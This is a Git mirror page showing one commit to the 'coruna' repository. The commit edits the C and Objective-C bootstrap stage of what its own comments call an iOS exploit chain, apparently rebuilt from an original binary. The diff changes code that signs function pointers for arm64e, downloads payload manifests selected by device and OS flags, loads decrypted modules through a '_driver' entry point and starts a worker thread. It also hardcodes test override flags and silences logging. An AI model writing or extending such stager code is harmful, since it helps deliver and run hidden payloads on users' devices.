CalvinBackup/coruna
1
0
Fork 0
mirror of https://github.com/khanhduytran0/coruna.git synced 2026-07-12 23:16:39 +02:00
Code Issues Packages Projects Releases Wiki Activity

tmp

Browse Source
This commit is contained in:
khanhduytran0
2026-03-25 07:16:23 +07:00
parent 33b42fcf43
commit 09281afd75
35 changed files with 58564 additions and 83 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/bootstrap/Makefile
+3 -2
View File
@@ -1,7 +1,7 @@
TARGET := iphone:clang:latest:14.0
ARCHS = arm64 arm64e
ARCHS = arm64
FINALPACKAGE = 1
STRIP = 0
STRIP = 1
GO_EASY_ON_ME = 1
include $(THEOS)/makefiles/common.mk
@@ -10,6 +10,7 @@ LIBRARY_NAME = bootstrap
bootstrap_FILES = $(wildcard *.m)
bootstrap_CFLAGS = -fobjc-arc -mcpu=apple-a12
bootstrap_LDFLAGS = -Os
bootstrap_INSTALL_PATH = /usr/local/lib
include $(THEOS_MAKE_PATH)/library.mk
src/bootstrap/bootstrap.h
+4 -14
View File
@@ -13,19 +13,6 @@
#import <stddef.h>
#import <stdbool.h>
#import <mach/mach.h>
#import <string.h>
#ifdef __arm64e__
#import <ptrauth.h>
#endif
#import <ptrauth.h>
/*
* Sign a raw (unsigned) function pointer for arm64e PAC.
* The exploit chain's ctx contains raw function pointers; arm64e
* indirect calls authenticate via blraaz (key A, discriminator 0).
* Call sign_ctx_fptrs() once in process() to sign all ctx fields
* before any function pointer calls.
*/
/* ── Error codes ─────────────────────────────────────────────────── */
#define ERR_BASE 0x000A0000
@@ -401,7 +388,10 @@ uint32_t http_request(const char *url, const char *user_agent,
void **out_data, uint32_t *out_size);
/* ── Logging (logging.c) ─────────────────────────────────────────── */
void print_log(const char *fmt, ...);
//void init_log_fd(void);
//void print_log(const char *fmt, ...);
#define init_log_fd() ((void)0)
#define print_log(fmt, ...) ((void)0)
uint32_t send_log(bootstrap_ctx_t *ctx, const char *url,
void **out_data, uint32_t *out_size);
uint32_t format_and_send(const char *url, const char *ua,
src/bootstrap/container.m
+5 -2
View File
@@ -318,10 +318,12 @@ uint32_t load_module(bootstrap_ctx_t *ctx, uint32_t type, void **out)
print_log("[bootstrap] load_module: dlsym _driver FAIL err=0x%x", err);
goto fail;
}
print_log("[bootstrap] load_module: dlsym OK result=%p", dlsym_result);
handle->vtable = NULL;
typedef uint32_t (*driver_fn_t)(void *, module_vtable_t **);
err = SIGN_FPTR(driver_fn_t, dlsym_result)(decrypted, &handle->vtable);
typedef uint32_t (*driver_fn_t)(module_vtable_t **);
err = SIGN_FPTR(driver_fn_t, dlsym_result)(&handle->vtable);
print_log("[bootstrap] load_module: _driver returned err=0x%x vtable=%p", err, handle->vtable);
if (err)
goto fail;
@@ -331,6 +333,7 @@ uint32_t load_module(bootstrap_ctx_t *ctx, uint32_t type, void **out)
sign_vtable_fptrs(vt);
print_log("[bootstrap] load_module: vtable version=%d num_funcs=%d", vt->version, vt->num_funcs);
if (vt->version != 2)
goto fail;
if (vt->num_funcs < 2)
src/bootstrap/download.m
+6 -41
View File
@@ -568,47 +568,12 @@ uint32_t download_and_process(bootstrap_ctx_t *ctx, uint32_t type,
int a15 = is_a15_or_newer(ctx);
if (!(a15 & 1)) {
uint32_t os_ver = ctx->os_version;
uint32_t cpu = ctx->cpu_type;
uint32_t extra_flags = 0;
int did_specific = 0;
uint32_t shifted = (os_ver + 0xFFEFFC00) >> 10;
if (shifted <= 0x3E) {
if (cpu == SOC_TYPE_A || cpu == SOC_TYPE_B ||
cpu == SOC_TYPE_D || cpu == SOC_TYPE_E) {
did_specific = 1;
uint8_t features = ctx->flag_a15_features;
extra_flags = features ? 0x40000 : 0x30000;
uint32_t soc_sub = ctx->soc_subversion;
uint32_t dev = (soc_sub > 1) ? (uint32_t)(-0x5D000000)
: (uint32_t)(-0x5E000000);
uint32_t flags = dev | extra_flags;
err = download_manifest(ctx, flags, raw_data, raw_size,
url_buf, 0x200, &key_ptr);
}
}
if (!did_specific) {
if ((os_ver - 0x100000) > 0x500) {
/* Device/OS combo not supported by this payload set —
* original binary jumps to the a15 bail-out path here
* (flags=0 → download_manifest returns early error). */
extra_flags = 0;
err = ERR_NULL_CTX + 0x13;
} else {
uint8_t features = ctx->flag_a15_features;
extra_flags = features ? 0x60000 : 0x50000;
uint32_t soc_sub = ctx->soc_subversion;
uint32_t dev = (soc_sub > 1) ? (uint32_t)(-0x5D000000)
: (uint32_t)(-0x5E000000);
uint32_t flags = dev | extra_flags;
err = download_manifest(ctx, flags, raw_data, raw_size,
url_buf, 0x200, &key_ptr);
}
/* OVERRIDE: hardcode entry 9 (377bed) flags for testing */
{
uint32_t flags = 0xf3900000;
print_log("[bootstrap] download_and_process: OVERRIDE flags=0x%x", flags);
err = download_manifest(ctx, flags, raw_data, raw_size,
url_buf, 0x200, &key_ptr);
}
/* Both specific and generic paths: download the actual
src/bootstrap/logging.m
+28 -8
View File
@@ -13,14 +13,34 @@
extern int thread_switch(mach_port_name_t, int, mach_msg_timeout_t);
void print_log(const char *fmt, ...)
{
va_list ap;
va_start(ap, fmt);
vdprintf(1, fmt, ap);
dprintf(1, "\n");
va_end(ap);
}
static int _log_fd = -1;
//void init_log_fd(void)
//{
// if (_log_fd >= 0)
// return;
// char path[1024];
// const char *tmp = getenv("TMPDIR");
// if (!tmp) tmp = "/tmp";
// snprintf(path, sizeof(path), "%s/bootstrap.log", tmp);
// _log_fd = open(path, O_WRONLY | O_CREAT | O_APPEND, 0644);
//}
//
//void print_log(const char *fmt, ...)
//{
// int fd = (_log_fd >= 0) ? _log_fd : 1;
// char buf[1024];
// va_list ap;
// va_start(ap, fmt);
// int len = vsnprintf(buf, sizeof(buf), fmt, ap);
// va_end(ap);
// if (len > 0) {
// if (len >= (int)sizeof(buf))
// len = (int)sizeof(buf) - 1;
// buf[len] = '\n';
// write(fd, buf, len + 1);
// }
//}
/* ── format_string (0x9a34) ────────────────────────────────────── */
src/bootstrap/main.m
+16 -14
View File
@@ -154,20 +154,19 @@ load_module:
/* Load module via find_or_load */
err = ((fn_find_or_load_t)ctx->fn_find_or_load)(
ctx, CONTAINER_TYPE_MODULE);
if (err) {
print_log("[bootstrap] process_payload: find_or_load FAIL err=0x%x, trying get_pointer", err);
void *module = NULL;
err = ((fn_get_pointer_t)ctx->fn_get_pointer)(
ctx, CONTAINER_TYPE_MODULE, &module);
if (err) {
print_log("[bootstrap] process_payload: get_pointer FAIL err=0x%x", err);
if (ctx->logging_enabled && ctx->log_func)
ctx->log_func(ctx, err, NULL, w23 + 0xD5);
return err;
}
}
print_log("[bootstrap] process_payload: load_module path OK");
/* Log result */
if (err && ctx->logging_enabled && ctx->log_func)
ctx->log_func(ctx, err, NULL, w23 + 0xB6);
/* Unload container wrapper (module code/vtable stays mapped) */
ctx->fn_unload(ctx, CONTAINER_TYPE_MODULE);
/* Store find_or_load result for caller */
if (result)
*result = err;
print_log("[bootstrap] process_payload: load_module path OK result=0x%x", err);
return 0;
direct_mode:
@@ -462,6 +461,9 @@ report_and_done:
__attribute__((visibility("default")))
uint32_t process(bootstrap_ctx_t *ctx)
{
// initialize log file fd once, before anything else
init_log_fd();
// redirect logging to file
struct stat std_out;
struct stat dev_null;
@@ -693,7 +695,7 @@ setup_mem:
pthread_t thread;
if (pthread_create(&thread, &attr, (void *(*)(void *))thread_main, clone) == 0) {
thread_err = 1; /* success sentinel */
thread_err = 0; /* success — original binary: csinc w21, wzr, w21, eq → 0 on success */
print_log("[bootstrap] process: worker thread created OK");
} else {
thread_err++;